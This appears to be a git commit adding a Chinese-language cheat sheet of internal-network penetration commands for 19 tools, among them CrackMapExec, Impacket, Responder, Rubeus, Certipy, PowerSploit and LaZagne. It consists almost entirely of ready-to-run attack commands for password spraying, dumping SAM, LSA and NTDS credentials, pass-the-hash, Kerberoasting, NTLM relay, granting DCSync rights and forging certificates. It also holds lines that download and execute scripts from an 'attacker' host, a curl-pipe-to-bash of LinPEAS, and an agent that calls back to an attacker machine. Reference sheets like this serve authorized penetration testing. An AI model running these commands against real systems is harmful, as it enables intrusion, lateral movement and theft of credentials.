reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
baradok609hecl1pq6qi
@@ -0,0 +1,870 @@
|
||||
# 内网渗透
|
||||
|
||||
_19 条工具命令_
|
||||
|
||||
### CrackMapExec `crackmapexec`
|
||||
_内网渗透瑞士军刀_
|
||||
|
||||
**Step 0**
|
||||
> 扫描网段内的SMB服务
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.0/24
|
||||
```
|
||||
**语法解析：**
|
||||
- `crackmapexec` — CME工具 _command_
|
||||
- `smb` — SMB协议模块 _value_
|
||||
|
||||
**Step 0**
|
||||
> 使用单个密码测试多个用户
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.0/24 -u users.txt -p Password123
|
||||
```
|
||||
**语法解析：**
|
||||
- `-u` — 用户名或用户文件 _parameter_
|
||||
- `-p` — 密码或密码文件 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 测试凭证是否有效
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.0/24 -u admin -p password
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用哈希进行认证
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.0/24 -u admin -H NTHASH
|
||||
```
|
||||
**语法解析：**
|
||||
- `-H` — NTLM哈希 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 在目标机器执行命令
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.100 -u admin -p password -x "whoami"
|
||||
```
|
||||
**语法解析：**
|
||||
- `-x` — 执行命令 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 在目标机器执行PowerShell
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.100 -u admin -p password -X "Get-Process"
|
||||
```
|
||||
**语法解析：**
|
||||
- `-X` — 执行PowerShell命令 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 导出SAM数据库
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.100 -u admin -p password --sam
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 导出LSASS凭证
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.100 -u admin -p password --lsa
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 执行Mimikatz模块
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.100 -u admin -p password -M mimikatz
|
||||
```
|
||||
**语法解析：**
|
||||
- `-M` — 指定模块 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 通过WinRM执行命令
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec winrm 192.168.1.100 -u admin -p password
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Impacket `impacket`
|
||||
_Python网络协议库_
|
||||
|
||||
**Step 0**
|
||||
> PsExec远程执行
|
||||
_platform: linux_
|
||||
```
|
||||
psexec.py domain/user:password@target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> WMI远程执行
|
||||
_platform: linux_
|
||||
```
|
||||
wmiexec.py domain/user:password@target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 通过计划任务执行
|
||||
_platform: linux_
|
||||
```
|
||||
atexec.py domain/user:password@target_ip "command"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> SMB远程执行
|
||||
_platform: linux_
|
||||
```
|
||||
smbexec.py domain/user:password@target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 导出所有凭证
|
||||
_platform: linux_
|
||||
```
|
||||
secretsdump.py domain/user:password@target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> Kerberoasting攻击
|
||||
_platform: linux_
|
||||
```
|
||||
GetUserSPNs.py domain/user:password -dc-ip dc_ip -request
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> AS-REP Roasting攻击
|
||||
_platform: linux_
|
||||
```
|
||||
GetNPUsers.py domain/ -usersfile users.txt -format hashcat
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> NTLM中继攻击
|
||||
_platform: linux_
|
||||
```
|
||||
ntlmrelayx.py -tf targets.txt -smb2support
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> MSSQL客户端
|
||||
_platform: linux_
|
||||
```
|
||||
mssqlclient.py domain/user:password@target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 通过LSA枚举用户
|
||||
_platform: linux_
|
||||
```
|
||||
lookupsid.py domain/user:password@target_ip
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Responder `responder`
|
||||
_LLMNR/NBT-NS/MDNS Poisoner_
|
||||
|
||||
**Step 0**
|
||||
> 启动Responder监听
|
||||
_platform: linux_
|
||||
```
|
||||
responder -I eth0
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 被动分析模式
|
||||
_platform: linux_
|
||||
```
|
||||
responder -I eth0 -A
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 启用WPAD代理攻击
|
||||
_platform: linux_
|
||||
```
|
||||
responder -I eth0 -wF
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 启用Finger服务
|
||||
_platform: linux_
|
||||
```
|
||||
responder -I eth0 -f
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 禁用SMB服务
|
||||
_platform: linux_
|
||||
```
|
||||
responder -I eth0 --disable-smb
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查看捕获的哈希
|
||||
_platform: linux_
|
||||
```
|
||||
cat /usr/share/responder/logs/*.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 启用DHCP欺骗
|
||||
_platform: linux_
|
||||
```
|
||||
responder -I eth0 -D
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Evil-WinRM `evil-winrm`
|
||||
_WinRM远程管理工具_
|
||||
|
||||
**Step 0**
|
||||
> 使用密码连接
|
||||
_platform: linux_
|
||||
```
|
||||
evil-winrm -i target_ip -u user -p password
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用哈希连接
|
||||
_platform: linux_
|
||||
```
|
||||
evil-winrm -i target_ip -u user -H ntlm_hash
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 上传文件到目标
|
||||
_platform: linux_
|
||||
```
|
||||
upload local_file remote_path
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 从目标下载文件
|
||||
_platform: linux_
|
||||
```
|
||||
download remote_path local_file
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 加载PowerShell脚本
|
||||
_platform: linux_
|
||||
```
|
||||
menu
|
||||
Bypass-4MSI
|
||||
Invoke-Mimikatz
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 执行PowerShell命令
|
||||
_platform: linux_
|
||||
```
|
||||
Invoke-Command -ScriptBlock {whoami}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### ProxyChains `proxychains`
|
||||
_代理链工具_
|
||||
|
||||
**Step 0**
|
||||
> 配置SOCKS代理
|
||||
_platform: linux_
|
||||
```
|
||||
vim /etc/proxychains4.conf
|
||||
[ProxyList]
|
||||
socks5 127.0.0.1 1080
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 通过代理运行工具
|
||||
_platform: linux_
|
||||
```
|
||||
proxychains4 nmap -sT -Pn target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 动态代理链
|
||||
_platform: linux_
|
||||
```
|
||||
dynamic_chain
|
||||
[ProxyList]
|
||||
socks5 127.0.0.1 1080
|
||||
socks5 127.0.0.1 1081
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 严格按顺序使用代理
|
||||
_platform: linux_
|
||||
```
|
||||
strict_chain
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 随机选择代理
|
||||
_platform: linux_
|
||||
```
|
||||
random_chain
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### BloodHound `bloodhound-tool`
|
||||
_Active Directory关系分析工具_
|
||||
|
||||
**Step 0**
|
||||
> 启动Neo4j数据库
|
||||
_platform: linux_
|
||||
```
|
||||
sudo neo4j console
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 启动BloodHound界面
|
||||
_platform: linux_
|
||||
```
|
||||
bloodhound
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 采集所有域信息
|
||||
_platform: windows_
|
||||
```
|
||||
SharpHound.exe -c All
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> PowerShell远程加载采集
|
||||
_platform: windows_
|
||||
```
|
||||
IEX(New-Object Net.WebClient).DownloadString("http://attacker/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> Python版本采集
|
||||
_platform: linux_
|
||||
```
|
||||
bloodhound-python -u user -p password -d domain.com -ns dc_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查询到域管理员的最短路径
|
||||
```
|
||||
MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name="DOMAIN ADMINS@DOMAIN.COM" RETURN p
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查询DCSync权限关系
|
||||
```
|
||||
MATCH (n)-[r:DCSync]->(m) RETURN n,m
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查询无约束委派计算机
|
||||
```
|
||||
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查询高权限用户
|
||||
```
|
||||
MATCH (n:User) WHERE n.admincount=true RETURN n
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### SharpHound `sharphound-tool`
|
||||
_BloodHound数据采集器_
|
||||
|
||||
**Step 0**
|
||||
> 采集所有数据
|
||||
_platform: windows_
|
||||
```
|
||||
SharpHound.exe -c All
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 指定域控制器
|
||||
_platform: windows_
|
||||
```
|
||||
SharpHound.exe -c All --LdapUsername user --LdapPassword pass --DomainController dc.domain.com
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 指定域名
|
||||
_platform: windows_
|
||||
```
|
||||
SharpHound.exe -c All --Domain domain.com
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 随机文件名隐蔽采集
|
||||
_platform: windows_
|
||||
```
|
||||
SharpHound.exe -c All --RandomizeFilenames --OutputDirectory C:\Users\Public
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 指定采集方法
|
||||
_platform: windows_
|
||||
```
|
||||
SharpHound.exe -c Default,ACL,Trusts,Container
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### SharpSMBClient `sharpsmbclient-tool`
|
||||
_SMB客户端工具_
|
||||
|
||||
**Step 0**
|
||||
> 列出SMB共享
|
||||
_platform: windows_
|
||||
```
|
||||
SharpSMBClient.exe -d domain -u user -p password -i target_ip -L
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 列出共享目录
|
||||
_platform: windows_
|
||||
```
|
||||
SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -l
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 下载文件
|
||||
_platform: windows_
|
||||
```
|
||||
SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -g "path\file"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 上传文件
|
||||
_platform: windows_
|
||||
```
|
||||
SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -p local_file -r remote_path
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### PowerSploit `powersploit-tool`
|
||||
_PowerShell渗透测试框架_
|
||||
|
||||
**Step 0**
|
||||
> 远程加载PowerView
|
||||
_platform: windows_
|
||||
```
|
||||
IEX(New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1")
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取域信息
|
||||
_platform: windows_
|
||||
```
|
||||
Get-NetDomain
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取域用户
|
||||
_platform: windows_
|
||||
```
|
||||
Get-NetUser
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取域管理员
|
||||
_platform: windows_
|
||||
```
|
||||
Get-NetGroup "Domain Admins"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取域控制器
|
||||
_platform: windows_
|
||||
```
|
||||
Get-NetDomainController
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查找域管理员登录位置
|
||||
_platform: windows_
|
||||
```
|
||||
Find-DomainUserLocation
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取对象ACL
|
||||
_platform: windows_
|
||||
```
|
||||
Get-ObjectAcl -SamAccountName target
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 添加DCSync权限
|
||||
_platform: windows_
|
||||
```
|
||||
Add-DomainObjectAcl -TargetIdentity target -Rights DCSync
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### NetExec `netexec`
|
||||
_CrackMapExec的继任者，网络渗透测试自动化工具_
|
||||
|
||||
**Step 0**
|
||||
> SMB共享和用户枚举
|
||||
```
|
||||
nxc smb 10.0.0.0/24 -u user -p password --shares
|
||||
nxc smb 10.0.0.0/24 -u user -p password --users
|
||||
```
|
||||
**语法解析：**
|
||||
- `nxc` — NetExec命令行工具 _command_
|
||||
- `smb` — 指定SMB协议 _parameter_
|
||||
- `--shares` — 枚举共享目录 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 使用单一密码对多用户进行喷射
|
||||
```
|
||||
nxc smb 10.0.0.0/24 -u users.txt -p "Password123!" --continue-on-success
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 通过SMB/WinRM执行命令
|
||||
```
|
||||
nxc smb target_ip -u admin -p password -x "whoami"
|
||||
nxc winrm target_ip -u admin -p password -X "Get-Process"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 提取SAM/LSA/NTDS中的凭证
|
||||
```
|
||||
nxc smb target_ip -u admin -p password --sam
|
||||
nxc smb target_ip -u admin -p password --lsa
|
||||
nxc smb target_ip -u admin -p password --ntds
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Ligolo-ng `ligolo-ng`
|
||||
_高级内网隧道代理工具，基于TUN接口_
|
||||
|
||||
**Step 0**
|
||||
> 在攻击机上配置TUN接口和启动代理
|
||||
_platform: linux_
|
||||
```
|
||||
# 创建TUN接口
|
||||
sudo ip tuntap add user $(whoami) mode tun ligolo
|
||||
sudo ip link set ligolo up
|
||||
|
||||
# 启动代理服务
|
||||
./proxy -selfcert -laddr 0.0.0.0:11601
|
||||
```
|
||||
**语法解析：**
|
||||
- `ip tuntap add` — 创建TUN虚拟网络接口 _command_
|
||||
- `-selfcert` — 使用自签名证书 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 在目标机运行Agent连接回攻击机
|
||||
```
|
||||
./agent -connect attacker_ip:11601 -ignore-cert
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 配置路由实现内网直通
|
||||
_platform: linux_
|
||||
```
|
||||
# 在Ligolo控制台:
|
||||
session
|
||||
start
|
||||
# 在攻击机添加路由:
|
||||
sudo ip route add 10.10.10.0/24 dev ligolo
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### SharpHound `sharphound`
|
||||
_BloodHound的C#数据收集器，在Windows域内收集AD信息_
|
||||
|
||||
**Step 0**
|
||||
> 收集所有AD域信息(用户/组/ACL/Session等)
|
||||
_platform: windows_
|
||||
```
|
||||
.\SharpHound.exe -c All
|
||||
```
|
||||
**语法解析：**
|
||||
- `-c All` — 收集所有类型的数据 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 仅从DC收集，不保存缓存，随机文件名
|
||||
_platform: windows_
|
||||
```
|
||||
.\SharpHound.exe -c DCOnly --NoSaveCache --RandomFilenames --MemCache
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 循环收集Session信息(2小时，每5分钟一次)
|
||||
_platform: windows_
|
||||
```
|
||||
.\SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 收集指定子域的信息
|
||||
_platform: windows_
|
||||
```
|
||||
.\SharpHound.exe -c All -d child.domain.com --LdapUsername user --LdapPassword pass
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### BloodHound-Python `bloodhound-python`
|
||||
_BloodHound的Python数据收集器，可从Linux远程收集AD信息_
|
||||
|
||||
**Step 0**
|
||||
> 从Linux远程收集AD域全量信息
|
||||
_platform: linux_
|
||||
```
|
||||
bloodhound-python -d domain.com -u user -p password -ns dc_ip -c All
|
||||
```
|
||||
**语法解析：**
|
||||
- `-d` — 目标域名 _parameter_
|
||||
- `-ns` — DNS服务器(通常是DC) _parameter_
|
||||
- `-c All` — 收集所有类型数据 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 使用NTLM哈希进行Pass-the-Hash收集
|
||||
_platform: linux_
|
||||
```
|
||||
bloodhound-python -d domain.com -u user --hashes aad3b435b51404eeaad3b435b51404ee:ntlm_hash -ns dc_ip -c All
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 仅收集组、本地管理员和会话信息
|
||||
_platform: linux_
|
||||
```
|
||||
bloodhound-python -d domain.com -u user -p pass -ns dc_ip -c Group,LocalAdmin,Session
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Rubeus `rubeus`
|
||||
_Kerberos攻击工具集，用于票据操作和Kerberos攻击_
|
||||
|
||||
**Step 0**
|
||||
> 请求服务票据用于离线破解
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe kerberoast /outfile:hashes.txt
|
||||
Rubeus.exe kerberoast /user:svc_sql /outfile:hash.txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `kerberoast` — 请求TGS票据进行离线破解 _command_
|
||||
- `/outfile` — 保存哈希到文件 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 对不需要预认证的账户请求AS-REP
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 导入Kerberos票据
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe ptt /ticket:base64_ticket
|
||||
Rubeus.exe ptt /ticket:ticket.kirbi
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用密码或哈希请求TGT票据
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe asktgt /user:user /password:pass /enctype:aes256 /ptt
|
||||
Rubeus.exe asktgt /user:user /rc4:ntlm_hash /ptt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> S4U约束委派攻击
|
||||
_platform: windows_
|
||||
```
|
||||
Rubeus.exe s4u /user:svc$ /rc4:hash /impersonateuser:admin /msdsspn:cifs/target /ptt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Certipy `certipy`
|
||||
_AD CS(Active Directory证书服务)攻击工具_
|
||||
|
||||
**Step 0**
|
||||
> 枚举可利用的证书模板
|
||||
```
|
||||
certipy find -u user@domain.com -p password -dc-ip dc_ip -enabled -vulnerable
|
||||
```
|
||||
**语法解析：**
|
||||
- `find` — 枚举模式 _command_
|
||||
- `-vulnerable` — 仅显示可利用的模板 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> ESC1: 利用允许SAN的模板伪造管理员证书
|
||||
```
|
||||
certipy req -u user@domain.com -p password -ca CA-NAME -template VULN_TEMPLATE -upn admin@domain.com
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用证书进行PKINIT认证获取NT Hash
|
||||
```
|
||||
certipy auth -pfx admin.pfx -dc-ip dc_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> Shadow Credentials攻击获取目标用户凭证
|
||||
```
|
||||
certipy shadow auto -u user@domain.com -p password -account target_user
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### LaZagne `lazagne-tool`
|
||||
_自动化本地密码恢复工具，支持数十种应用_
|
||||
|
||||
**Step 0**
|
||||
> 提取所有支持应用的密码
|
||||
_platform: windows_
|
||||
```
|
||||
lazagne.exe all
|
||||
```
|
||||
**语法解析：**
|
||||
- `all` — 搜索所有支持的应用程序 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 仅提取指定类别的密码
|
||||
_platform: windows_
|
||||
```
|
||||
lazagne.exe browsers
|
||||
lazagne.exe wifi
|
||||
lazagne.exe databases
|
||||
lazagne.exe sysadmin
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> Linux版本使用方式
|
||||
_platform: linux_
|
||||
```
|
||||
python3 lazagne.py all
|
||||
python3 lazagne.py browsers
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Seatbelt `seatbelt`
|
||||
_C#安全审计工具，快速收集Windows系统安全相关信息_
|
||||
|
||||
**Step 0**
|
||||
> 执行所有安全检查
|
||||
_platform: windows_
|
||||
```
|
||||
Seatbelt.exe -group=all -full
|
||||
```
|
||||
**语法解析：**
|
||||
- `-group=all` — 运行所有检查组 _parameter_
|
||||
- `-full` — 详细输出模式 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 检查系统和用户相关安全配置
|
||||
_platform: windows_
|
||||
```
|
||||
Seatbelt.exe -group=system -group=user
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 运行指定的检查模块
|
||||
_platform: windows_
|
||||
```
|
||||
Seatbelt.exe CredEnum WindowsVault SavedRDPConnections RecentFiles
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 远程执行安全审计
|
||||
_platform: windows_
|
||||
```
|
||||
Seatbelt.exe -group=remote -computername=target -username=admin -password=pass
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### WinPEAS `winpeas`
|
||||
_Windows权限提升辅助脚本，自动发现提权路径_
|
||||
|
||||
**Step 0**
|
||||
> 执行所有Windows提权检查
|
||||
_platform: windows_
|
||||
```
|
||||
winpeasany.exe
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 快速模式(跳过耗时检查)
|
||||
_platform: windows_
|
||||
```
|
||||
winpeasany.exe fast
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 仅检查指定类别
|
||||
_platform: windows_
|
||||
```
|
||||
winpeasany.exe servicesinfo
|
||||
winpeasany.exe userinfo
|
||||
winpeasany.exe systeminfo
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 将结果保存到文件
|
||||
_platform: windows_
|
||||
```
|
||||
winpeasany.exe log=output.txt
|
||||
winpeasany.exe /quiet > output.txt 2>&1
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### LinPEAS `linpeas`
|
||||
_Linux权限提升辅助脚本，自动发现提权路径_
|
||||
|
||||
**Step 0**
|
||||
> 执行所有Linux提权检查
|
||||
_platform: linux_
|
||||
```
|
||||
./linpeas.sh
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 全面扫描(含耗时检查)并输出到文件
|
||||
_platform: linux_
|
||||
```
|
||||
./linpeas.sh -a -o output.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 无文件落地直接执行
|
||||
_platform: linux_
|
||||
```
|
||||
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 指定检查类别
|
||||
_platform: linux_
|
||||
```
|
||||
./linpeas.sh -s
|
||||
# -s: 仅超快速检查
|
||||
# -P: 仅密码相关
|
||||
# -n: 仅网络信息
|
||||
```
|
||||
|
||||
---
|
||||
Reference in New Issue
Block a user